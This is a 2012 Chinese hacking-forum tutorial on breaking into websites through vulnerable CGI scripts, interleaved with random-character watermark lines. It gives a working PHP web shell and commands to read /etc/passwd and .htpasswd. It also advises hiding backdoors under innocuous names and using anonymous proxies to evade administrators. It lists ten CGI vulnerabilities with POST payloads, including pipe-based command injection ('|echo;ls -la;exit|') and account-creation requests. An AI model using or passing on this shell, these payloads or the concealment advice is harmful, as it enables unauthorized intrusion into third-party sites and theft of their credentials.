中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
& L; z* D0 p' g2 {* b: f
大家好 我是bboyhip 只是一名菜菜的exploiter
9 m7 R# ^: r- s) r1 P
很开心来到贵论坛
1 m8 n4 U) n, ^* [% X V9 p/ U
这里让我感觉 很有技术交流的感觉
1 |6 S6 v" a" X4 } d
我会长长来玩的
- n9 G( h' k0 e
前言:
* z5 \9 V; ?9 ^2 H2 [
以下讲解针对欧美日本网站
/ C0 K+ e( s: ?& b" {8 g3 R4 U$ r1 h
當我們在做滲透分析的時候 方法有很多
) ^; O( u- J- k) P
我门都知道 国外伺服器大多是linux 平台
/ {/ N8 P9 v; l' `
所以有很多网站程序有6成都会使用cgi 脚本来管理
. m: V, m4 t1 `! A
目录为/cgi-bin/
& H8 C& \) b* d+ J3 W, |2 D1 l: J
) Z% r9 x& f( b9 b1 z
只是个人在实务上一些经验
9 O& e0 i7 R; G& v6 c
写的不好 请多多见谅喔
% W3 {2 D B- D3 ]3 G' G
在这里我简单分为几个部份一定要會的
" E0 I* N3 g/ \/ H
讲解一下
& d0 a7 X" I- s7 I( t7 b9 j& ^
让没有基础的人很容易上手
- ?! q1 n) Q2 r0 K7 D
* `5 S/ E1 A2 S, v
以下内容跟帖回复才能看到
( D v( G A8 K% n
==============================
) }" O; b& i1 q: e4 A/ A2 G2 s2 R! }' M
; { e; Z2 A& U
第1部份: 何谓Shell?
; u* o8 R$ O/ R% R' _
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
( z a$ L8 A; r6 I; ?1 z" s
A shell is the program which reads user input from the command line and executes actions based upon that input.
: N) H8 E* M8 S, P {, f+ f! j1 G
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
" f3 T$ b" o, ?7 m- g
. ^: d& F0 ]: S3 I; v2 z1 Q
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
; Y# w) L/ J' v2 D; {0 V
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
7 l1 o# v. j; {+ \
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
% Q/ s9 a) B/ h8 I2 C
% p) n. \4 S( M# h/ _
第2部份: Unix 指令
" w' C. m/ T2 _% |
以下是一些常见及重要的指令:
3 m3 j4 ]8 ^% A4 ^4 S
pwd: 显示当前目录, 即是後门/程式所在的位置
3 B: C1 Y8 M4 k+ x
如 /home/www/site.com/cgi-bin/
' h d7 _9 J* l0 V3 m! h M
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
5 ?5 L7 b' J3 L: Q7 O4 ^
ls -al :详细列出档案资料(当前目录)
1 E" o, z' B6 [( G. u% b0 I, B9 a0 I5 Y
ls /: 列出根目录
; J+ w% W1 B1 f$ @) ^. T) f5 S
ls /etc: 列出/etc的资料夹及档案
( ?7 d* r. L( ^1 }8 _/ f( M. S f$ b: Z
ls ../ -al: 详细列出上一层的资料夹及档案
( j: t6 p" W7 R+ G8 K# V
cat: 显示档案内容
' m! j+ A6 d3 l8 {
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
# p- j9 a- I9 ^3 l+ ^# h0 U
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
- V$ [1 p) Y K! [1 V2 X& o/ C
who: 显示谁login 至系统
' l9 I) n$ k# z3 ?' f
man: 显示指令用法
' [# \# i0 T6 [5 r- k9 N
man ls: 显示ls这指令的用法
, f9 G& J9 a" g E4 r/ j" j0 C
mkdir 建立目录
+ e7 P( o* X6 s5 }5 e: m
rmdir 删除目录
. ~8 T$ S' H% m& j: Y s$ ?
mv 移动档案
0 w( X% Z5 G: L. B
rm 删除档案
+ f5 n, x" w' _2 F
" B/ o" K" b0 J" U
第3部份: Shell的使用
" }8 A# J' J$ S& W6 N
例如:
% _! t+ q3 a/ i% x/ e
http://site.com/refer.php
+ e& s8 D0 r/ Y
这是我的後门, 原代码如下:
, l, J B3 \- C; u; s3 b6 ^+ y
<Form Action="#" Method="POST">
: I O3 w, i2 O
<Input type="text" name="cmd">
4 Y' T' g' D. g
<Input type="Submit">
! j; s/ m5 I( `' o1 [5 E
</Form>
2 k+ f5 Z! _3 v6 {( \
<?php
5 j; y$ ^7 S o3 `; B+ ^
$cmd = $_POST['cmd'];
; c' A. G' w6 l5 }; F# ?
$Output = shell_exec($cmd);
( b" E% [5 V$ X
echo $Output;
1 Y/ @/ ?4 V1 [: ~' f) }& S: h# S
?>
- O, } L: L6 e$ O
输入pwd, 可得到绝对路径:
" Z* F' {) O6 P( D8 w6 w) k' x
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
# m8 @1 S+ q0 O* T
" b& I7 {6 `+ y
第4部份: 注意事项
/ O. J" a% h, h- c9 v
- 使用匿名代理, 保障自己
2 R2 j+ w4 `* ^* Q7 r P
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
5 |, T2 d) a3 Q+ }7 p
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
8 F9 l% `8 r$ [0 ~% k6 q
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
5 A H2 J1 V& T% z, ~
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
4 R5 Z2 e3 m) L. ?' E
不容易被发现.
# ~2 Z6 @" H+ Y/ M2 H. Q: @
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
_' Z9 y! N- R6 x) B" i
针对网站的渗透分析方法太多了
& u# q# Q; b, Y5 O
这篇文章的重点是cgi 脚本攻击
7 J( s. ^0 i5 |5 Y7 @
所以我用简单的叙述形容
$ _& ~$ c- O% _8 H' \
开始讲解脚本入侵过程:
3 G- B5 ]- `" W5 `+ I
在这里提供一些方法思路让大家学习一下
+ b7 P1 j; P2 T6 Z3 G/ I8 y* G
; V4 Y1 }$ b9 Y4 K+ i, ]) D, d
1.一开始对一个网站进行cgi漏洞扫描
0 r% m% y9 e* X1 t! W; y
我们需要的东西有
" f) I4 |, y7 `, B
扫洞工具 如:triton..等等
3 ?2 o+ i8 U' p5 V1 I8 C: q
E表
3 O% c+ ^2 `& R& n! o
如
9 m3 S; E; m3 x4 E) g
/cgi-bin/add-passwd.cgi
% ^4 f; G- u6 y/ V5 t8 k. \6 W- O
/WebShop/templates/cc.txt
: X9 E; a" M& g/ E: P+ O. @& P
/Admin_files/order.log
4 o: N7 |2 ~& q0 v' d: H
/orders/mountain.cfg
9 ~6 M5 H6 O u1 ?) X( B( [% u; D
/cgi-sys/cart.pl
2 ~3 y3 N& r" |$ C& P" p2 L r1 d3 y
/scripts/cart.pl
+ F2 j0 P% p. Z
/htbin/cart.pl
% y$ r5 D$ O7 v1 q. H: g4 F4 Z
E表来源可以是网路收寻或是自己的0 day
; y N+ C! f9 O$ e
" H8 _" q" `# \
2.怎样确认扫到的洞 是真的还假的?
. }1 _& z c: @. v t
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
4 s5 [; e2 ~4 @% j
一般都是在IE里先看一下的,记住这个返回码哦
3 L# S8 T h1 _* t4 P I
ERROR:This script should be referenced with a METHOD of POST.
1 @% o1 K7 Y( A. a" U
没有返回一定是假的
0 _9 z; ^" Z2 C2 N1 e v
3.重来来了 很多人都会问我
- _& v( B+ m: f$ j
他扫到很多洞 但是不会使用
- {% }" u; A6 @1 m4 f1 P$ U
因为这些漏洞 使用的语法 称为post
3 h" Q- K D$ w
我们要找post 的方法很多
S5 s u- X$ |0 B
可以是源代码分析 找出介质
6 P; @" p+ x& W$ T( D" E/ W$ d9 o, J
或是用抓包工具 抓他的语法...等等
$ o/ Q {- {( V0 ~) u2 K" r
/ m* G/ @; [+ v d2 v
以下我提供10个 cgi 洞以及使用方法post
; j! e, _0 n. D2 [
让大家可以针对网站去做扫描
9 S2 N [9 m( w- [# k- F( t
/index.cgi
& F+ P3 n" h# l" r n' b2 w
wei=ren&gen=command
! f! j# ?: V' G+ J7 U
/passmaster.cgi
$ B: Y0 u0 L% ?# m; w* h
Action=Add&Username=Username&Password=Password
* p2 W& q7 W+ m! e
/accountcreate.cgi
# _! O7 @: l9 }2 f5 ~ K
username=username&password=password&ref1=|echo;ls|
% o2 j" W% r [; m" v
/form.cgi
$ u c0 E" l* B
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
% r, I+ y9 [$ d2 ~5 ]( T/ f
/addusr.pl
- C9 W7 q5 ]+ k1 u5 a2 K
/cgi-bin/EuroDebit/addusr.pl
( q2 A, K# C5 a4 x
user=username&pass=Password&confirm=Password
6 H8 L3 B3 H$ N0 \) b' }
/ccbill-local.asp
% h H/ C3 G& W) \, m
post_values=username:password
! K0 Q6 }$ Q7 N" W* A
/count.cgi
) S2 Q5 I9 j2 g2 D8 {% W
pinfile=|echo;ls -la;exit|
9 x# t$ b' V9 B" J6 A# ]
/recon.cgi
; d# Y+ d* T9 e" X, P! R
/recon.cgi?search
k- i3 r. c' N, f! i: e7 b
searchoption=1&searchfor=|echo;ls -al;exit|
& U( u* m" L! H c, [: ~8 B
/verotelrum.pl
4 s0 V4 K1 e' t
vercode=username:password:dseegsow:add:amount<&30>
! C3 X7 r. ?- s4 H$ w4 ?0 y& o
/af.cgi_browser_out=|echo;ls -la;exit;|
' Y- `! m3 m* p# b$ ]
5 h7 Q3 t( P2 c) y/ K; @
今天就讲到这 感谢大家支持
# y& d+ ?& h* P7 [4 E
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2